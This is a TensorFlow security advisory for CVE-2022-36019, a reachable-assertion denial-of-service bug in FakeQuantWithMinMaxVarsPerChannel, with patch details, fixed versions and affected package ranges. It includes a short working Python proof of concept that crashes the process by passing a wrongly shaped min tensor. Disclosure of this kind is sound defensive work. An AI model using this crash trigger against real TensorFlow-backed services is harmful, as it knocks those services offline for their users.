If FakeQuantWithMinMaxVarsPerChannel is given min or max tensors of a rank other than one, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
num_bits = 8
narrow_range = False
inputs = tf.constant(0, shape=[4], dtype=tf.float32)
min = tf.constant([], shape=[4,0,0], dtype=tf.float32)
max = tf.constant(0, shape=[4], dtype=tf.float32)
tf.raw_ops.FakeQuantWithMinMaxVarsPerChannel(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
| Score | Percentile |
|---|---|
| 0.06% | 19.80% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 5.9 | 3.1 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-9j4v-pp28-mxv7 ↗ |
| CVE | CVE-2022-36019 ↗ |
| CWE id | Name |
|---|---|
| CWE-617 | Reachable Assertion |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| pip | tensorflow | < 2.7.2 | 2.7.2 | — |
| pip | tensorflow | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow | >= 2.9.0, < 2.9.1 | 2.9.1 | — |
| pip | tensorflow-cpu | < 2.7.2 | 2.7.2 | — |
| pip | tensorflow-cpu | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow-cpu | >= 2.9.0, < 2.9.1 | 2.9.1 | — |
| pip | tensorflow-gpu | < 2.7.2 | 2.7.2 | — |
| pip | tensorflow-gpu | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow-gpu | >= 2.9.0, < 2.9.1 | 2.9.1 | — |